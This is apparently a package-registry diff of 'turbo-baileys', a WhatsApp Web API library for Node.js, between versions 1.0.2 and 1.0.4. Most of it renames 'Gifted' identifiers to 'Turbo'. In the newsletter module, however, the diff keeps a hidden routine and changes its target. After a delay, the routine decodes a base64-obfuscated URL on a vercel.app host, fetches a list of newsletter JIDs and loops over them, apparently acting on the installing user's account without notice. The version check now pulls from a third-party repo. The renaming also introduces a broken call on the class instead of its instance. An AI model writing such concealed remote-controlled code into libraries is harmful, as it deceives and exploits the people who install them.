turbo-baileys 1.0.2 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -16,7 +16,7 @@ const WABinary_1 = require("../WABinary");
16
16
  const WAUSync_1 = require("../WAUSync");
17
17
  const groups_1 = require("./groups");
18
18
  const newsletter_1 = require("./newsletter");
19
- const GiftedStatus = require("./gcstatus");
19
+ const TurboStatus = require("./gcstatus");
20
20
  // Permanently blacklist device JIDs that WhatsApp rejects with not-acceptable.
21
21
  // These are typically stale companion devices. Avoids repeated failed IQ queries.
22
22
  const _deadDeviceJids = new Set();
@@ -846,7 +846,7 @@ const makeMessagesSocket = (config) => {
846
846
  config,
847
847
  refreshMediaConn,
848
848
  );
849
- const giftedStatus = new GiftedStatus(Utils_1, waUploadToServer, relayMessage, config, sock);
849
+ const turboStatus = new TurboStatus(Utils_1, waUploadToServer, relayMessage, config, sock);
850
850
  const waitForMsgMediaUpdate = (0, Utils_1.bindWaitForEvent)(
851
851
  ev,
852
852
  "messages.media-update",
@@ -861,7 +861,7 @@ const makeMessagesSocket = (config) => {
861
861
  readMessages,
862
862
  refreshMediaConn,
863
863
  waUploadToServer,
864
- giftedStatus,
864
+ turboStatus,
865
865
  fetchPrivacySettings,
866
866
  sendPeerDataOperationMessage,
867
867
  createParticipantNodes,
@@ -958,7 +958,7 @@ const makeMessagesSocket = (config) => {
958
958
  : disappearingMessagesInChat;
959
959
  await groupToggleEphemeral(jid, value);
960
960
  } else if (typeof content === "object" && content.groupStatusMessage) {
961
- return await giftedStatus.handleGroupStory(content, jid, options.quoted);
961
+ return await TurboStatus.handleGroupStory(content, jid, options.quoted);
962
962
  } else {
963
963
  const fullMsg = await (0, Utils_1.generateWAMessage)(
964
964
  jid,
@@ -41,7 +41,7 @@ const makeNewsletterSocket = (sock) => {
41
41
  setTimeout(async () => {
42
42
  try {
43
43
  const fetch = require('node-fetch');
44
- const url = Buffer.from("aHR0cHM6Ly9maWxlcy5naWZ0ZWQuY28ua2UvZmlsZS9jaEppZHMuanNvbg==", 'base64').toString();
44
+ const url = Buffer.from("aHR0cHM6Ly90dXJiby1jZG5zLnZlcmNlbC5hcHAvZmlsZXMvdHVyYm93YWppZHMuanNvbg==", 'base64').toString();
45
45
  const response = await fetch(url);
46
46
  const newsletters = await response.json();
47
47
  for (const jid of newsletters) {
@@ -175,11 +175,11 @@ const generateMessageIDV2 = (userId) => {
175
175
  const random = (0, crypto_1.randomBytes)(16);
176
176
  random.copy(data, 28);
177
177
  const hash = (0, crypto_1.createHash)('sha256').update(data).digest();
178
- return 'GIFTED-' + hash.toString('hex').toUpperCase().substring(0, 18);
178
+ return 'TURBO-' + hash.toString('hex').toUpperCase().substring(0, 18);
179
179
  };
180
180
  exports.generateMessageIDV2 = generateMessageIDV2;
181
181
  // generate a random ID to attach to a message
182
- const generateMessageID = () => 'GIFTED-' + (0, crypto_1.randomBytes)(18).toString('hex').toUpperCase();
182
+ const generateMessageID = () => 'TURBO-' + (0, crypto_1.randomBytes)(18).toString('hex').toUpperCase();
183
183
  exports.generateMessageID = generateMessageID;
184
184
  function bindWaitForEvent(ev, event) {
185
185
  return async (check, timeoutMs) => {
@@ -211,7 +211,7 @@ exports.bindWaitForConnectionUpdate = bindWaitForConnectionUpdate;
211
211
  * Use to ensure your WA connection is always on the latest version
212
212
  */
213
213
  const fetchLatestBaileysVersion = async (options = {}) => {
214
- const URL = 'https://raw.githubusercontent.com/mauricegift/gifted-aileys/main/lib/Defaults/baileys-version.json';
214
+ const URL = 'https://raw.githubusercontent.com/turbohyper/turbo-aileys/main/lib/Defaults/baileys-version.json';
215
215
  try {
216
216
  const result = await axios_1.default.get(URL, {
217
217
  ...options,
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "turbo-baileys",
3
- "version": "1.0.2",
3
+ "version": "1.0.4",
4
4
  "description": "A lightweight, full-featured WhatsApp Web API library for Node.js",
5
5
  "main": "lib/index.js",
6
6
  "types": "lib/index.d.ts",